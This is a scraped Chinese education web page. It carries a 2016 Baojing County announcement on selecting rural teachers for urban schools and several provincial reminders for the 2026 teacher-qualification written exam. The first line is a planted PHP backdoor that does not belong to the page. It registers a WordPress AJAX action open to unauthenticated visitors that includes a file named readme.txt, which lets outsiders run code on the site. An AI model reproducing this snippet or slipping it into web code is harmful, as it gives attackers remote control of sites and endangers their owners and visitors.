if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南省保靖县2016年城区学校公开遴选教师公告-全国教师资格考试网

湖南省保靖县2016年城区学校公开遴选教师公告

    为缓解城区学校部分学科教师紧缺的压力,根据《中共保靖县委办公室保靖县人民政府办公室关于进一步规范全县机关事业单位工作人员调配工作的规定》(保办法[2014]42号)、《中共保靖县委办公室保靖县人民政府办公室关于印发〈保靖县机关事业单位工作人员管理暂行办法〉的通知》(保办法[2014]43号)文件精神,经县人事领导小组研究,决定在全县农村中小学校遴选教师13名。现将有关事项公告如下:
一、遴选对象
本县内符合遴选职位条件的农村中小学校在编在岗教师。
二、遴选职数
遴选教师职数共计13名,其中:
1.小学(5名):语文2名,数学2名,英语1名。
2.中学(8名):语文2名,数学2名,英语2名,化学1名,音乐(舞蹈专业)1名。
三、遴选条件及资格
1.基本条件
(1)遵纪守法,爱岗敬业。
(2)年龄在40周岁以下(1976年7月12日以后出生)。
(3)中学、小学教师需分别在农村工作三年、五年以上(其中“三支一扶”教师、特岗教师服务年限可以作为农村从教年限计算)。
2.资格条件
(1)具备本科及以上学历。
(2)小学教师应具备小学及以上教师资格证;中学教师应具备初级中学及以上教师资格证。
3.近三年来年度考核结论为合格及以上等次。
4.下列人员不得报考:(1)受党纪、政纪处分未撤消或有关部门正在立案查处者。(2)服务期内的特岗教师、定向培养生。(3)法律法规及有关政策规定的其他情形。
四、遴选程序
1.发布信息 
遴选信息将在保靖县教育信息网上公开发布。 
2.报名时间、地点 
    (1)报名时间:2016年7月12日至7月14日(上午8:00至12:00;下午15:00至18:00)。 
    (2)报名地点:保靖县教育和体育局人事股(迁陵镇政兴路10号后栋二楼)。
 3.报名方式及要求:
(1)报名时需携带本人身份证、学历证、教师资格证、年度考核证书、奖励证书等原件和复印件各一份,参考教师应提供2013年秋至2016年春基教股出具的州县级质量检测成绩证明、学校出具的担任班主任或担任中层以上干部证明。
(2)报名对象需提交近期2寸免冠彩照2张。
(3)每人限报一个职位。
#p#副标题#e# 3.资格审查
领导小组对报名人员提供的相关材料进行审核,审核合格后发放准考证。
4.笔试
笔试成绩占总成绩的50%。
(1)开考比例:招聘岗位计划数与报考人数的比例不低于1:3。若达不到开考比例,可根据实际情况核减招聘计划或取消该岗位。报考岗位被取消的人员,可改报符合条件的其他岗位。
    (2)笔试内容:所有报考人员需参加公共知识和专业知识的合卷笔试,笔试科目为一科,满分100分(公共知识占30%,专业知识占70%)。公共知识考试内容为心理学、教育学和教育法律法规知识等,专业知识考试内容为报考岗位所应具备的专业知识。本次招聘考试不指定复习用书。
    (3)笔试时间:7月17日上午8:30-10:30。
    (4)笔试地点:以准考证指定考点为准。
    (5)领取笔试准考证时间地点:报考者7月16日下午15:00—18:00到保靖县教育和体育局人事股领取笔试准考证。
5.说课
说课成绩占总成绩的30%。
    (1)根据笔试成绩从高分到低分按该岗位招聘计划数1:3的比例确定说课对象。若确定为说课对象的最后一名出现笔试成绩相同的,则按专业成绩从高分到低分确定说课对象,如专业成绩又相同,则同时进入说课程序。
    (2)说课时间及地点另行通知。
6.考核
考核成绩占总成绩的20%。
参加面试人员均为考核对象,按《保靖县城区学校公开遴选教师考核量化评分细则》对考核对象实行量化打分,按比例计入总成绩。
 7.拟调对象
    按笔试成绩占50%、面试成绩占30%、考核成绩占20%的比例折合成总成绩。根据总成绩从高分到低分的排名顺序等额确定拟调对象(若总成绩相同,则按笔试成绩从高分到低分确定拟调对象;若笔试成绩也相同,则按面试成绩从高分到低分确定拟调对象)。若因自动放弃出现岗位空缺,则从同一岗位中按总成绩从高分到低分依次递补,递补次数不超过两次。
8.公示
拟调人员公示5个工作日无异议后,报县人事领导小组审定。
9. 办理调动手续
遴选人员由县教育和体育局根据程序办理调动手续。
五、遴选纪律
为确保遴选工作公平公正,县教体局、县人社局、县编办共同参与。工作人员要严守工作纪律,认真履行工作职责,对违反遴选纪律的工作人员,按照有关规定追究责任。报考人员应服从工作分配,否则将取消拟调资格。
六、本公告由保靖县城区学校公开遴选教师工作领导小组办公室负责解释

附件下载:
    附件1:《2016年保靖县城区学校公开遴选教师岗位职数表》
  附件2:《2016年保靖县城区学校公开遴选教师考核量化评分细则》
  附件3:《2016年保靖县城区学校公开遴选教师报名表》
 

保靖县城区学校公开遴选教师工作领导小组办公室
2016年7月8日

微信扫一扫立即关注“湖南教师资格考试”(微信号:hnntce)。

湖南省保靖县2016年城区学校公开遴选教师公告

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部